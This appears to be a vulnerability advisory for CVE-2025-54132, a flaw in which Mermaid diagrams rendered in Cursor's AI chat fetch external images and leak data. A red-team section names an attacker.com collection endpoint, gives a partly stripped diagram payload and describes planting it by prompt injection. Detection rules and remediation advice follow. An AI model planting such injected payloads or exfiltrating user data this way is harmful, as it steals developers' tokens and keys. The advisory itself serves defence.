CVE-2025-54132
Executive Summary
CVE-2025-54132 is a medium-severity information disclosure vulnerability in Cursor, an AI-powered code editor. The flaw resides in the Mermaid diagram rendering engine used within Cursor’s chat box. Versions below 1.3 allow embedded images in Mermaid diagrams to be fetched by the editor, enabling an attacker to exfiltrate sensitive data to an attacker-controlled server. The attack requires prompt injection from malicious data sources (e.g., web content, image uploads, source code) to trigger the exploit. A malicious AI model, hallucination, or backdoor could also initiate the attack. The vulnerability is patched in version 1.3.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Cursor is a proprietary application, not an open-source package. However, the vulnerability originates from the Mermaid library, which is an open-source JavaScript library used for diagram rendering. The supply chain risk is moderate: if a malicious Mermaid diagram is embedded in a code repository, documentation, or web page, and a user with Cursor < 1.3 opens it, the exploit can trigger. No known public exploit code exists, but the attack vector is realistic via prompt injection.
CVSS Breakdown & Threat Level
- CVSS Score: 4.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
- Attack Vector (AV): Network – the attacker can deliver the malicious payload remotely.
- Attack Complexity (AC): Low – no special conditions required.
- Privileges Required (PR): None – no authentication needed.
- User Interaction (UI): Required – the victim must open the malicious content in Cursor.
- Scope (S): Unchanged – the vulnerable component is the Cursor chat box.
- Confidentiality (C): Low – limited information disclosure (e.g., tokens, keys).
- Integrity (I): None – no data modification.
- Availability (A): None – no denial of service.
Threat Level: Medium. The exploit requires user interaction and prompt injection, but the potential for data exfiltration (e.g., API keys, session tokens) makes it a realistic threat in AI-assisted development environments.
Deep Dive & Mechanics
The vulnerability stems from Cursor’s use of the Mermaid library to render diagrams in the chat box. Mermaid supports embedding images via the  syntax. In versions below 1.3, Cursor does not sanitize or restrict these image fetches. An attacker can craft a Mermaid diagram containing an image tag that points to an attacker-controlled server. When the diagram is rendered, Cursor’s chat box fetches the image, sending the victim’s IP address, user-agent, and potentially other sensitive data (e.g., cookies, tokens) in the request headers.
The attack chain:
- Prompt Injection: The attacker injects malicious data into a source that Cursor processes (e.g., a code file, web page, or image upload). This data contains a Mermaid diagram with an embedded image URL.
- Rendering: Cursor’s AI model or chat box renders the Mermaid diagram, triggering the image fetch.
- Exfiltration: The attacker’s server receives the HTTP request, capturing sensitive information.
The vulnerability is particularly dangerous because:
- It can be triggered by a malicious AI model (e.g., a backdoored model) without user awareness.
- It bypasses same-origin policies since the fetch originates from the Cursor application.
- It can exfiltrate data from the local environment (e.g., environment variables, tokens) if the attacker can inject into the chat context.
Vulnerable vs. Patched Code
Vulnerable Code (Cursor < 1.3): The Mermaid rendering function does not filter image URLs. Example pseudocode:
function renderMermaid(diagram) {
// No sanitization of image URLs
const html = mermaid.render(diagram);
chatBox.innerHTML = html; // Image fetch occurs automatically
}
Patched Code (Cursor >= 1.3): The patched version restricts image embedding by either:
- Disabling image rendering in Mermaid diagrams.
- Using a content security policy (CSP) that blocks external image fetches.
- Sanitizing the output to strip image tags.
Example pseudocode:
function renderMermaid(diagram) {
const sanitized = sanitizeMermaid(diagram); // Remove image tags
const html = mermaid.render(sanitized);
chatBox.innerHTML = html;
}
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- Cursor version < 1.3 installed.
- Attacker-controlled server (e.g.,
https://attacker.com/collect). - Ability to inject a Mermaid diagram into a source that Cursor processes (e.g., a code file, web page, or image upload).
Exploit Payload: Create a malicious Mermaid diagram:
```mermaid
graph TD
A[Start] --> B[Process]
B --> C[]
**Steps:**
1. Host the payload in a code file or web page.
2. Trick the victim into opening the file in Cursor or uploading an image containing the payload.
3. Cursor renders the diagram, triggering the image fetch.
4. The attacker’s server logs the request, capturing the victim’s IP, user-agent, and any appended data.
**Advanced Variant:**
Use prompt injection to embed the payload in a chat message:
User: "Explain this diagram: "
### Blue Team (Defense & Detection)
**Detection:**
- Monitor network traffic for outbound requests to unknown domains from Cursor processes.
- Use endpoint detection and response (EDR) to flag unusual image fetches from the Cursor application.
- Implement application allowlisting to restrict Cursor’s network access.
**Prevention:**
- Update Cursor to version 1.3 or later.
- Use a web proxy to block external image fetches from Cursor.
- Educate users about prompt injection risks and avoid opening untrusted content in Cursor.
## Indicators of Compromise (IOCs)
- **Network IOCs:**
- Outbound HTTP/HTTPS requests from Cursor to unknown domains with image MIME types.
- Requests containing query parameters like `?data=`, `?token=`, or `?exfil=`.
- **File IOCs:**
- Mermaid diagrams in code files or chat logs containing external image URLs.
- **Behavioral IOCs:**
- Cursor chat box rendering unexpected images or diagrams.
- Unusual network activity from the Cursor process (e.g., `cursor.exe` or `Cursor`).
## Detection Engineering
### YARA Rule
```yara
rule CVE_2025_54132_Mermaid_Exfil {
meta:
description = "Detects Mermaid diagrams with external image URLs in Cursor chat logs"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-54132"
strings:
$mermaid = "```mermaid" nocase
$image = /!\[.*\]\(https?:\/\/[^\)]+\)/ nocase
condition:
$mermaid and $image
}
Sigma Rule
title: Cursor Mermaid Image Exfiltration
id: cve-2025-54132
status: experimental
description: Detects outbound image fetch requests from Cursor to external domains
author: Valters IT
date: 2025-04-10
logsource:
category: network_connection
product: windows
detection:
selection:
Image: 'cursor.exe'
DestinationPort: 443
Initiated: true
Protocol: 'tcp'
filter:
DestinationHostname:
- '*.cursor.sh'
- '*.github.com'
condition: selection and not filter
falsepositives:
- Legitimate Cursor updates
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-54132 Cursor Mermaid Image Exfiltration"; flow:to_server,established; content:"cursor"; http_user_agent; content:"image/"; http_content_type; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Update Cursor: Upgrade to version 1.3 or later. The patch disables image embedding in Mermaid diagrams.
- Network Controls: Block outbound HTTP/HTTPS requests from Cursor to untrusted domains using a firewall or proxy.
- User Awareness: Train users to avoid opening untrusted code files or web pages in Cursor.
Long-Term Measures:
- Implement content security policies (CSP) in Cursor to restrict resource loading.
- Conduct regular security audits of third-party libraries (e.g., Mermaid).
- Monitor for prompt injection attacks using the provided detection rules.
Patch Verification:
- Check Cursor version:
Help > About Cursor. - Ensure version is >= 1.3.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert